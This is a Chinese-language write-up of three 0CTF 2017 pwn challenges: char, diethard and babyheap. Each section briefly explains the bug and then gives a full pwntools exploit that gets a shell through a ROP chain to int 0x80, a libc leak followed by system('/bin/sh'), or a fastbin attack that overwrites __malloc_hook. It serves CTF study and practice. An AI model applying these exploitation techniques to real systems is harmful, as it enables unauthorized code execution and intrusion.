0ctf 2017 writeup

char

很明显的栈溢出,但是程序会检查输入是否全为可打印字符,比较良心的是程序把一个libc映射到0x5555e000这个段上,算是让我们有点gadget可用
因为程序通过strlen()获取输入长度,所以我们可以在输入中间加上'\x00'来截断strlen(),这样只需要'\x00'之前的部分全为可打印字符,之后的payload不受影响
只需要找到合适的gadget让栈跳到后方返回就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context.log_level = 'debug'
base = 0x5555e000
#0x0001706b : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
int80 = 0x00B7E36
pop5_ret = 0x0001706b
ret80 = 0x00132d35
ret52 = 0x00004234
pop4_ret10 = 0x00017e76
addesp9c_ret = 0x000e3cee
addesp98_pop_ret = 0x0011cf7a
mov_eax_ecx = 0x00148251
xchg_esp_eax = 0x000e6d62
add_esp1c_ret = 0x00115f35
p = process('./char_patched')
#p = remote('202.120.7.214', 23222)
ebx_ret = 0x0007dce9
edx_ecx_eax_ret = 0x000f277f
scanf_plt = 0x08048540
pop2_ret = 0x804889a
s2400 = 0x804894C
data = 0x804A03C
system_addr = 0x003EED0 + base
execve_addr = 0x0003ECF2 + base
eax_ret = 0x0016a7d4 + base
pop3_ret = 0x8048899
binsh = 0x556bb7ec
main_addr = 0x08048693
write_plt = 0x8048520
write_got = 0x804A030
puts_plt = 0x80484B0
scanf_got = 0x804A038
strcpy_got = 0x0804A010
strcpy_plt = 0x080484A0
libc_start_main_got = 0x804A00C + 4
edx_ret = 0x00001a9e + base
ecx_ret = 0x000cae3b + base
inc_eax_ret = 0x00026a9b + base
log.info(hex(write_plt))
payload = ''
payload += 'A' * 28
payload += p32(add_esp1c_ret + base)
payload += p32(mov_eax_ecx + base)
payload += p32(xchg_esp_eax + base)
payload += '\x00' * 3
payload += p32(0xdeadbeef)
payload += p32(0xdeadbeef) * 5
payload += p32(ebx_ret + base)
payload += p32(binsh)
payload += p32(edx_ret)
payload += p32(0x00)
payload += p32(ecx_ret)
payload += p32(0x00)
for i in range(11):
payload += p32(inc_eax_ret)
payload += p32(int80 + base)
pause()
log.info(len(payload))
p.recvuntil('GO : ) \n')
p.send(payload + '\n')
p.interactive()

diethard

一个自己实现的内存管理系统,程序会根据申请内存的大小分配一个类似index的东西,相同index的堆块会分配到同一页,计算了一下发现index为8时,对应的对块大小集合元素最多
其中分配1032和2016大小的堆块会出bug,不用释放内存就出现堆块重叠了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
context.log_level = 'info'
def New(p, length, content):
p.recvuntil("3. Exit\n\n")
p.send('1\n')
p.recvuntil("Input Message Length:\n")
p.send(str(length) + '\n')
p.recvuntil("Please Input Message:\n")
p.send(content)
def Delete(p, index):
p.recvuntil("3. Exit\n\n")
p.send('2\n')
p.recvuntil('Which Message You Want To Delete?\n')
p.send(str(index) + '\n')
if __name__ == '__main__':
#p = process('./diethard')
p = remote('202.120.7.194', 6666)
New(p, 1032, 'A\n')
New(p, 1032, 'GGGGGGGGGGGGGGGG\n')
New(p, 2016, 'C\n')
p.recvuntil("3. Exit\n\n")
p.send('2\n')
p.recvuntil('2.')
data = p.recvuntil('GGGGGGGGGGGGGGGG', drop = True)[-16:]
p.recvuntil('Which Message You Want To Delete?\n')
p.send(str(6) + '\n')
heap_addr = u64(data[:8])
log.info("heap addr: " + hex(heap_addr))
Delete(p, 2)
Delete(p, 1)
Delete(p, 0)
'''
0x7fb7d3d0b800: 0x0000000000000043 0x0000000000000408
0x7fb7d3d0b810: 0x00007fb7d3d0b820 0x0000000000400976
0x7fb7d3d0b820: 0x4747474747474747 0x4747474747474747
'''
payload = ''
payload += p64(0x43)
payload += p64(0x408)
payload += p64(0x000000000603280)
payload += p64(0x400976)
New(p, 1032, 'A\n')
New(p, 1032, 'GGGGGGGGGGGGGGGG\n')
New(p, 2016, payload + '\n')
p.recvuntil("3. Exit\n\n")
p.send('2\n')
p.recvuntil('1. ')
libc_start_main_addr = u64(p.recvn(8))
log.info('__libc_start_main() addr: ' + hex(libc_start_main_addr))
p.recvuntil('Which Message You Want To Delete?\n')
p.send(str(6) + '\n')
#libc = ELF('./local.libc64')
libc = ELF('./libc.so')
offset_libc_start_main = libc.symbols['__libc_start_main']
offset_system = libc.symbols['system']
offset_binsh = next(libc.search('/bin/sh'))
libc_base = libc_start_main_addr - offset_libc_start_main
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_binsh
Delete(p, 2)
Delete(p, 1)
Delete(p, 0)
payload = ''
payload += p64(0x43)
payload += p64(0x408)
payload += p64(binsh_addr)
payload += p64(system_addr)
New(p, 1032, 'A\n')
New(p, 1032, 'GGGGGGGGGGGGGGGG\n')
New(p, 2016, payload + '\n')
p.interactive()

babyheap

任意字节的堆溢出,但是用的calloc(),申请对块时会清空推块内容,不好leak,后来使用extend chunk的方法产生堆块重叠,释放一个被覆盖的堆块来leak main_arena
之后决定利用unsort bin attack,修改global_max_fastmain_arena指针,这样之后所有大小堆块都会被当作fast chunk来对待
西电dalao在题目给的libc里发现一个离__malloc_hook很近地方的值为0x300,利用fastbin attack将堆块分配到那,然后修改__malloc_hook为libc中execve("/bin/sh")的one-gadget来getshell
这里就贴一个我本机跑起来的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *
context.log_level = 'info'
def New(p, size):
p.recvuntil('Command: ')
p.send('1\n')
p.recvuntil('Size: ')
p.send(str(size) + '\n')
def Fill(p, idx, size, content):
p.recvuntil('Command: ')
p.send('2\n')
p.recvuntil('Index: ')
p.send(str(idx) + '\n')
p.recvuntil('Size: ')
p.send(str(size) + '\n')
p.recvuntil('Content: ')
p.send(content)
def Free(p, idx):
p.recvuntil('Command: ')
p.send('3\n')
p.recvuntil('Index: ')
p.send(str(idx) + '\n')
def Dump(p, idx):
p.recvuntil('Command: ')
p.send('4\n')
p.recvuntil('Index: ')
p.send(str(idx) + '\n')
p = process('./babyheap_patched')
#p = remote('202.120.7.218', 2017)
New(p, 0x80)
New(p, 0x80)
New(p, 0x80)#
New(p, 0x80)
New(p, 0x80)#
New(p, 0x2f0)
New(p, 0x80)
payload = ''
payload += 'A' * 0x80
payload += p64(0x00)
payload += p64(0x90 * 2 + 1)
Fill(p, 0, len(payload), payload)
Free(p, 1)
New(p, 0x90 * 2 - 0x10)
payload = ''
payload += 'A' * 0x80
payload += p64(0x00)
payload += p64(0x91)
Fill(p, 1, len(payload), payload)
Free(p, 2)
Fill(p, 1, 0x90, 'A' * 0x90)
Free(p, 4)
Dump(p, 1)
p.recvuntil('A' * 0x90)
main_arena = u64(p.recvn(8))
heap_addr = u64(p.recvn(8))
'''
libc_base = main_arena - 0x398b58
global_max_fast = libc_base + 0x39a7d0
'''
libc_base = main_arena - 0x3a5678
global_max_fast = libc_base + 0x3a7860
log.info("main_arena : " + hex(main_arena))
log.info("heap addr : " + hex(heap_addr))
payload = ''
payload += 'A' * 0x80
payload += p64(0x00)
payload += p64(0x91)
payload += p64(global_max_fast - 0x10) * 2
Fill(p, 1, len(payload), payload)
New(p, 0x80)#modify global_max_fast
Free(p, 5)#free 0x2f0 chunk(malloc before)
New(p, 0x2f0)
Free(p, 4)#free 0x2f0 chunk(just malloc)
fake_chunk_header = 0x398617 + libc_base
payload = ''
payload += '\x00' * 0x80
payload += p64(0x00)
payload += p64(0x91)
payload += p64(heap_addr - 0x120)
payload += p64(main_arena)
payload += '\x00' * 0x70
payload += p64(0x90)
payload += p64(0x300)
payload += p64(fake_chunk_header)
Fill(p, 3, len(payload), payload)
New(p, 0x2f0)
New(p, 0x2f0)#point to fake chunk
payload = ''
payload += '\x00' * 0x4c9
payload += p64(libc_base + 0x00000000003F33A)
Fill(p, 5, len(payload), payload)
p.interactive()
文章目录
  1. 1. char
  2. 2. diethard
  3. 3. babyheap
|